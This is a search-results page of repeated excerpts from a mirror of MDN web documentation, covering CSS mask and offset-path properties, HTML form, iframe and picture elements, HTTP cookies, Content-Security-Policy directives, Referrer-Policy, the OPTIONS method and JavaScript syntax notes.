url(https://udn.realityripple.com/samples/2d/fd08a3134c.png); -webkit-mask-box-image-slice: 30 fill; -webkit-mask-box-image-width: 20px; -webkit-mask-box-image-repeat: round; -webkit-mask-box-image-outset: 1px; */ /* prefixed shorthand property currently supported in chromium */ -webkit-mask-box-image:
url("https://udn.realityripple.com/samples/2d/fd08a3134c.png") /* source */ 30 fill / /* slice */ 20px / /* width */ 1px /* outset */ round; /* repeat */ /* updated standard shorthand property, not supported anywhere yet */ mask-border:
url("https://udn.realityripple.com/samples/2d/fd08a3134c.png") /* source */ 30 fill / /*...
offset-path - CSS: Cascading Style Sheets
the offset-path css property specifies a motion path for an element to follow and defines the element's positioning within the parent container or svg coordinate system. ...
... the offset-path css property specifies a motion path for an element to follow and defines the element's positioning within the parent container or svg coordinate system. ...
...three values, defines a path that is a line segment starting from the position of the box and proceeds in the direction defined by the specified angle similar to the css gradient angle where 0deg is up, with positive angles increasing in the clockwise direction, with the size value being similar to the css radial gradient size values from closest-side to farthest-corner, and the keyterm contain.
url() references the id of an svg shape -- circle, ellipse, line, path, polygon, polyline, or rect -- using the shape's geometry as the path. <basic-shape> specifies a css shape including circle(), ellipse(), inset(), polygon(), or path(). path() a path string defined with svg coordinate syntax. none specifies no motion path at all. description this property defines a path an ani...
...f the spec called this property motion-path. it was changed to offset-path because the property describes static positions, not motion. ...
<form> - HTML: Hypertext Markup Language
ically complete entries. name the name of the form. deprecated as of html 4 (use id instead). it must be unique among the forms in a document and not an empty string as of html5. rel creates a hyperlink or annotation depending on the value, see the rel attribute for details. attributes for form submission the following attributes control behavior during form submission. action the
url that processes the form submission. this value can be overridden by a formaction attribute on a <button>, <input type="submit">, or <input type="image"> element. enctype if the value of the method attribute is post, enctype is the mime type of the form submission. possible values: application/x-www-form-
urlencoded: the default value. multipart/form-data: use this if the form contains <inp...
...file. text/plain: introduced by html5 for debugging purposes. this value can be overridden by formenctype attributes on <button>, <input type="submit">, or <input type="image"> elements. method the http method to submit the form with. possible (case insensitive) values: post: the post method; form data sent as the request body. get: the get method; form data appended to the action
url with a ? separator. use this method when the form has no side-effects. dialog: when the form is inside a <dialog>, closes the dialog on submission. this value is overridden by formmethod attributes on <button>, <input type="submit">, or <input type="image"> elements. novalidate this boolean attribute indicates that the form shouldn't be validated when submitted. if this attribute is not...
...he same as _self. _top: load into the top-level browsing context (i.e., the browsing context that is an ancestor of the current one and has no parent). if no parent, behaves the same as _self. this value can be overridden by a formtarget attribute on a <button>, <input type="submit">, or <input type="image"> element. ...
... as _self. this value can be overridden by a formtarget attribute on a <button>, <input type="submit">, or <input type="image"> element. ...
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
rigin will still include the path. same-origin: a referrer will be sent for same origin, but cross-origin requests will contain no referrer information. strict-origin: only send the origin of the document as the referrer when the protocol security level stays the same (https→https), but don't send it to a less secure destination (https→http). strict-origin-when-cross-origin: send a full
url when performing a same-origin request, only send the origin when the protocol security level stays the same (https→https), and send no header to a less secure destination (https→http). unsafe-
url: the referrer will include the origin and the path (but not the fragment, password, or username). this value is unsafe, because it leaks origins and paths from tls-protected resources to insecure o...
...ribute — making it no more secure than not using the sandbox attribute at all. sandboxing is useless if the attacker can display content outside a sandboxed iframe — such as if the viewer opens the frame in a new tab. such content should be also served from a separate origin to limit potential damage. the sandbox attribute is unsupported in internet explorer 9 and earlier. src the
url of the page to embed. use a value of about:blank to embed an empty page that conforms to the same-origin policy. also note that programatically removing an <iframe>'s src attribute (e.g. via element.removeattribute()) causes about:blank to be loaded in the frame in firefox (from version 65), chromium-based browsers, and safari/ios. srcdoc inline html to embed, overriding the src attribute. if a...
...that conforms to the same-origin policy. also note that programatically removing an <iframe>'s src attribute (e.g. via element.removeattribute()) causes about:blank to be loaded in the frame in firefox (from version 65), chromium-based browsers, and safari/ios. srcdoc inline html to embed, overriding the src attribute. if a browser does not support the srcdoc attribute, it will fall back to the
url in the src attribute. width the width of the frame in css pixels. default is 300. deprecated attributes these attributes are deprecated and may no longer be supported by all user agents. you should not use them in new content, and try to remove them from existing content. align the alignment of this element with respect to the surrounding context. frameborder the value 1 (the defau...
...r agents. you should not use them in new content, and try to remove them from existing content. align the alignment of this element with respect to the surrounding context. frameborder the value 1 (the default) draws a border around this frame. the value 0 removes the border around this frame, but you should instead use the css property border to control <iframe> borders. longdesc a
url of a long description of the frame's content. due to widespread misuse, this is not helpful for non-visual browsers. marginheight the amount of space in pixels between the frame's content and its top and bottom borders. marginwidth the amount of space in pixels between the frame's content and its left and right borders. scrolling indicates when the browser should provide a scrollbar f...
<picture>: The Picture element - HTML: Hypertext Markup Language
the html <picture> element contains zero or more <source> elements and one <img> element to offer alternative versions of an image for different display/device scenarios. the browser will consider each child <source> element and choose the best match among them. if no matches are found—or the browser doesn't support the <picture> element—the
url of the <img> element's src attribute is selected. ...
... the <img> element serves two purposes: it describes the size and other attributes of the image and its presentation. ...
...rowser skips it and evaluates the next element inside <picture>. <picture> <source srcset="mdn-logo-wide.png" media="(min-width: 600px)"> <img src="mdn-logo-narrow.png" alt="mdn"> </picture> the srcset attribute the srcset attribute is used to offer list of possible images based on size. it is composed of a comma-separated list of image descriptors. each image descriptor is composed of a
url of the image, and either... a width descriptor, followed by a w (such as 300w); or a pixel density descriptor, followed by an x (such as 2x) to serve a high-res image for high-dpi screens. <picture> <source srcset="logo-768.png 768w, logo-768-1.5x.png 1.5x"> <source srcset="logo-480.png, logo-480-2x.png 2x"> <img src="logo-320.png" alt="logo"> </picture> the type attribute the typ...
... followed by a w (such as 300w); or a pixel density descriptor, followed by an x (such as 2x) to serve a high-res image for high-dpi screens. <picture> <source srcset="logo-768.png 768w, logo-768-1.5x.png 1.5x"> <source srcset="logo-480.png, logo-480-2x.png 2x"> <img src="logo-320.png" alt="logo"> </picture> the type attribute the type attribute specifies a mime type for the resource
url(s) in the <source> element's srcset attribute. if the user agent does not support the given type, the <source> element is skipped. <picture> <source srcset="logo.webp" type="image/webp"> <img src="logo.png" alt="logo"> </picture> specifications specification status comment html living standardthe definition of '<picture>' in that specification. living standa...
Using HTTP cookies - HTTP
of ways to ensure that cookies are sent securely and are not accessed by unintended parties or scripts: the secure attribute and the httponly attribute. a cookie with the secure attribute is sent to the server only with an encrypted request over the https protocol, never with unsecured http, and therefore can't easily be accessed by a man-in-the-middle attacker. insecure sites (with http: in the
url) can't set cookies with the secure attribute. however, do not assume that secure prevents all access to sensitive information in cookies; for example, it can be read by someone with access to the client's hard disk. a cookie with the httponly attribute is inaccessible to the javascript document.cookie api; it is sent only to the server. for example, cookies that persist server-side sessions don'...
...example, cookies that persist server-side sessions don't need to be available to javascript, and should have the httponly attribute. this precaution helps mitigate cross-site scripting (xss) attacks. here is an example: set-cookie: id=a3fwa; expires=wed, 21 oct 2021 07:28:00 gmt; secure; httponly define where cookies are sent the domain and path attributes define the scope of the cookie: what
urls the cookies should be sent to. domain attribute the domain attribute specifies which hosts are allowed to receive the cookie. if unspecified, it defaults to the same origin that set the cookie, excluding subdomains. if domain is specified, then subdomains are always included. therefore, specifying domain is less restrictive than omitting it. however, it can be helpful when subdomains need to s...
...okie, excluding subdomains. if domain is specified, then subdomains are always included. therefore, specifying domain is less restrictive than omitting it. however, it can be helpful when subdomains need to share information about a user. for example, if domain=mozilla.org is set, then cookies are available on subdomains like developer.mozilla.org. path attribute the path attribute indicates a
url path that must exist in the requested
url in order to send the cookie header. the %x2f ("/") character is considered a directory separator, and subdirectories match as well. for example, if path=/docs is set, these paths match: /docs /docs/web/ /docs/web/http samesite attribute the samesite attribute lets servers require that a cookie shouldn't be sent with cross-origin requests (where s...
...that a cookie shouldn't be sent with cross-origin requests (where site is defined by the registrable domain), which provides some protection against cross-site request forgery attacks (csrf). it takes three possible values: strict, lax, and none. with strict, the cookie is sent only to the same site as the one that originated it; lax is similar, with an exception for when the user navigates to a
url from an external site, such as by following a link; none has no restrictions on cross-site requests. here is an example: set-cookie: mykey=myvalue; samesite=strict the values of samesite attribute are case-insensitive. browsers are migrating to have cookies default to samesite=lax. if a cookie is needed to be sent cross-origin, opt out of the samesite restriction by using the none directive.
CSP: connect-src - HTTP
the apis that are restricted are: <a> ping, fetch, xmlhttprequest, websocket, eventsource, and navigator.sendbeacon(). note: connect-src 'self' does not resolve to websocket schemas in all browsers, more info: https://github.com/w3c/webappsec-csp/issues/7 csp version 1 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. ...
...yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the connect-src policy: content-security-policy: connect-src <source>; content-security-policy: connect-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme. mail.example.com:443: matches all...
...tacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific in...
...rom source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers and not inline <script> elements or javascript:
urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript:
urls, inline event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set; that is, no
urls match. the single quotes are required. 'nonce-<base64-value>' an allow-list for specific i...
CSP: default-src - HTTP
mail.example.com:443: matches all...
... mail.example.com:443: matches all attempts to access port 443 on mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. ...
...tacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific in...
...rom source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers and not inline <script> elements or javascript:
urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript:
urls, inline event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set; that is, no
urls match. the single quotes are required. 'nonce-<base64-value>' an allow-list for specific i...
CSP: font-src - HTTP
lback yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the font-src policy: content-security-policy: font-src <source>; content-security-policy: font-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme. mail.example.com:443: matches all...
...tacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific i...
...om source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers and not inline <script> elements or javascript:
urls, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript:
urls, inline event handlers, and inline <style> elements. you must include the single quotes. 'none' refers to the empty set; that is, no
urls match. the single quotes are required. 'nonce-<base64-value>' a whitelist for s...
... whitespace. see unsafe inline script for an example. in csp 2.0 this applied only to inline scripts. csp 3.0 allows it in the case of script-src for external scripts. examples violation cases given this csp header: content-security-policy: font-src https://example.com/ the following font resource loading is blocked and won't load: <style> @font-face { font-family: "myfont"; src:
url("https://not-example.com/font"); } body { font-family: "myfont"; } </style> specifications specification status comment content security policy level 3the definition of 'font-src' in that specification. working draft no changes. content security policy level 2the definition of 'font-src' in that specification. recommendation initial definit...
CSP: form-action - HTTP
whether form-action should block redirects after a form submission is debated and browser implementations of this aspect are inconsistent (e.g. firefox 57 doesn't block the redirects whereas chrome 63 does). csp version 2 directive type navigation directive default-src fallback no. not setting this allows anything. ...
... navigation directive default-src fallback no. not setting this allows anything. syntax one or more sources can be set for the form-action policy: content-security-policy: form-action <source>; content-security-policy: form-action <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme. mail.example.com:443: matches all...
...tacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific in...
...rom source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers and not inline <script> elements or javascript:
urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript:
urls, inline event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set; that is, no
urls match. the single quotes are required. 'nonce-<base64-value>' an allow-list for specific i...
CSP: navigate-to - HTTP
this is an enforcement on what navigations this document initiates not on what this document is allowed to navigate to. note: if the form-action directive is present, the navigate-to directive will not act on navigations that are form submissions. csp version 3 directive type navigation directive default-src fallback no. not setting this allows anything. ...
... navigation directive default-src fallback no. not setting this allows anything. syntax one or more sources can be set for the navigate-to policy: content-security-policy: navigate-to <source>; content-security-policy: navigate-to <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme. mail.example.com:443: matches all...
...tacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific in...
...rom source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers and not inline <script> elements or javascript:
urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript:
urls, inline event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set; that is, no
urls match. the single quotes are required. 'nonce-<base64-value>' an allow-list for specific i...
CSP: prefetch-src - HTTP
. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the prefetch-src policy: content-security-policy: prefetch-src <source>; content-security-policy: prefetch-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme. mail.example.com:443: matches all...
...tacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific in...
...rom source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers and not inline <script> elements or javascript:
urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript:
urls, inline event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set; that is, no
urls match. the single quotes are required. 'nonce-<base64-value>' an allow-list for specific i...
...espace. see unsafe inline script for an example. in csp 2.0, this applied only to inline scripts. csp 3.0 allows it in the case of script-src for external scripts. example prefetch resources do not match header given a page with the following content security policy: content-security-policy: prefetch-src https://example.com/ fetches for the following code will return network errors, as the
urls provided do not match prefetch-src's source list: <link rel="prefetch" src="https://example.org/"></link> <link rel="prerender" src="https://example.org/"></link> specification specification status comment content security policy level 3the definition of 'prefetch-src' in that specification. working draft initial definition. ...
CSP: script-src-elem - HTTP
mail.example.com:443: matches all...
... mail.example.com:443: matches all attempts to access port 443 on mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. ...
...tacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific in...
...rom source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers and not inline <script> elements or javascript:
urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript:
urls, inline event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set; that is, no
urls match. the single quotes are required. 'nonce-<base64-value>' an allow-list for specific i...
CSP: script-src - HTTP
the http content-security-policy (csp) script-src directive specifies valid sources for javascript. this includes not only
urls loaded directly into <script> elements, but also things like inline script event handlers (onclick) and xslt stylesheets which can trigger script execution. csp version 1 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. ...
... yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the script-src policy: content-security-policy: script-src <source>; content-security-policy: script-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme. mail.example.com:443: matches all...
...tacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific in...
...rom source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers and not inline <script> elements or javascript:
urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript:
urls, inline event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set; that is, no
urls match. the single quotes are required. 'nonce-<base64-value>' an allow-list for specific i...
CSP: style-src-attr - HTTP
mail.example.com:443: matches all...
... mail.example.com:443: matches all attempts to access port 443 on mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. ...
...tacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific in...
...rom source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers and not inline <script> elements or javascript:
urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript:
urls, inline event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set; that is, no
urls match. the single quotes are required. 'nonce-<base64-value>' an allow-list for specific i...
CSP: style-src-elem - HTTP
mail.example.com:443: matches all...
... mail.example.com:443: matches all attempts to access port 443 on mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. ...
...tacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific in...
...rom source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers and not inline <script> elements or javascript:
urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript:
urls, inline event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set; that is, no
urls match. the single quotes are required. 'nonce-<base64-value>' an allow-list for specific i...
CSP: style-src - HTTP
ck yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the style-src policy: content-security-policy: style-src <source>; content-security-policy: style-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme. mail.example.com:443: matches all...
...tacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific in...
...rom source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers and not inline <script> elements or javascript:
urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript:
urls, inline event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set; that is, no
urls match. the single quotes are required. 'nonce-<base64-value>' an allow-list for specific i...
...cripts. csp 3.0 allows it in the case of script-src for external scripts. ...
Referrer-Policy - HTTP
inal header name referer is a misspelling of the word "referrer". the referrer-policy header does not share this misspelling. ...
...-policy: strict-origin referrer-policy: strict-origin-when-cross-origin referrer-policy: unsafe-
url directives no-referrer the referer header will be omitted entirely. no referrer information is sent along with requests. no-referrer-when-downgrade (default) this is the default behavior if no policy is specified, or if the provided value is invalid. the origin, path, and querystring of the
url are sent as a referrer when the protocol security level stays the same (http→http, https→https) or improves (http→https), but isn't sent to less secure destinations (https→http). there is effort from browsers in moving to a stricter default value, namely strict-origin-when-cross-origin (see https://github.com/whatwg/fetch/pull/952), consider using this value (or a stricter one), if possi...
...e same (https→https), but don't send it to a less secure destination (https→http). strict-origin-when-cross-origin send the origin, path, and querystring when performing a same-origin request, only send the origin when the protocol security level stays the same while performing a cross-origin request (https→https), and send no header to any less-secure destinations (https→http). unsafe-
url send the origin, path, and query string when performing any request, regardless of security. this policy will leak potentially-private information from https resource
urls to insecure origins. carefully consider the impact of this setting. integration with html you can also set referrer policies inside html. for example, you can set the referrer policy for the entire document with a <m...
...ttps://mozilla.org https://example.com/ http://example.org (no referrer) http://example.com/page anywhere http://example.com/ strict-origin-when-cross-origin https://example.com/page https://example.com/otherpage https://example.com/page https://mozilla.org https://example.com/ http://example.org (no referrer) unsafe-
url https://example.com/page?q=123 anywhere https://example.com/page?q=123 specifying a fallback policy if you want to specify a fallback policy in any case the desired policy hasn't got wide enough browser support, use a comma-separated list with the desired policy specified last: referrer-policy: no-referrer, strict-origin-when-cross-origin in the above scenario, no-referrer will...
OPTIONS - HTTP
the http options method requests permitted communication options for a given
url or server. a client can specify a
url with this method, or an asterisk (*) to refer to the entire server. ...
...o refer to the entire server. ...
... no successful response has body yes safe yes idempotent yes cacheable no allowed in html forms no syntax options /index.html http/1.1 options * http/1.1 examples identifying allowed request methods to find out which request methods a server supports, one can use the c
url command-line program to issue an options request: c
url -x options https://example.org -i the response then contains an allow header that holds the allowed methods: http/1.1 204 no content allow: options, get, head, post cache-control: max-age=604800 date: thu, 13 oct 2016 11:45:00 gmt server: eos (lax004/2813) preflighted requests in cors in cors, a preflight request is sent with the options method so that the server can respond if it is accepta...
...connection: keep-alive origin: https://foo.example access-control-request-method: post access-control-request-headers: x-pingother, content-type the server now can respond if it will accept a request under these circumstances. in this example, the server response says that: access-control-allow-origin the https://foo.example origin is permitted to request the bar.example/resources/post-here/
url via the following: access-control-allow-methods post, get, and options are permitted methods for the
url. (this header is similar to the allow response header, but used only for cors.) access-control-allow-headers any script inspecting the response is permitted to read the values of the x-pingother and content-type headers. access-control-max-age the above permissions may be cached for 86,4...
SyntaxError: missing } after function body - JavaScript
the javascript exception "missing } after function body" occurs when there is a syntax mistake when creating a function somewhere. check if any closing c
urly brackets or parenthesis are in the correct order. message syntaxerror: expected '}' (edge) syntaxerror: missing } after function body (firefox) error type syntaxerror what went wrong? ...
...ter function body" occurs when there is a syntax mistake when creating a function somewhere. check if any closing c
urly brackets or parenthesis are in the correct order. message syntaxerror: expected '}' (edge) syntaxerror: missing } after function body (firefox) error type syntaxerror what went wrong? ...
...e syntaxerror: expected '}' (edge) syntaxerror: missing } after function body (firefox) error type syntaxerror what went wrong? ...
...r: missing } after function body (firefox) error type syntaxerror what went wrong? there is a syntax mistake when creating a function somewhere. also check if any closing c
urly brackets or parenthesis are in the correct order. indenting or formatting the code a bit nicer might also help you to see through the jungle. examples forgotten closing c
urly bracket oftentimes, there is a missing c
urly bracket in your function code: var charge = function() { if (sunny) { usesolarcells(); } else { promptbikeride(); }; correct would be: var charge = function() { if (sunny) { usesolarcells(); } else { promptbikeride(); } }; it can be more obscure when using iife, closures, or other constructs that use a lot of different parenthesis and c
urly brackets, for example. ...
import - JavaScript
his way, it returns a promise. import('/modules/my-module.js') .then((module) => { // do something with the module. }); this form also supports the await keyword. let module = await import('/modules/my-module.js'); examples standard import the code below shows how to import from a secondary module to assist in processing an ajax json request. ...
... form also supports the await keyword. let module = await import('/modules/my-module.js'); examples standard import the code below shows how to import from a secondary module to assist in processing an ajax json request. ...
...rt('/modules/my-module.js'); examples standard import the code below shows how to import from a secondary module to assist in processing an ajax json request. ...
